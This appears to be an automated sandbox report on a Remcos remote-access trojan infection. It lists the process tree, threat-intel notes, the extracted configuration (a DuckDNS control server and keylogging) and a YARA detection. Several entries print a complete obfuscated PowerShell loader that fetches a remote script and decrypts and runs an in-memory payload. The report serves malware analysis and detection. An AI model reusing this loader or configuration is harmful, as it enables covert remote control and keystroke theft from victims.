0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7820 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 8140 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5712 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 5512 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3080 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5552 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 2912 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 4816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 5388 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5440 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["abokirem.duckdns.org:56379:1"], "Assigned name": "Aboki", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-J4I3IV", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
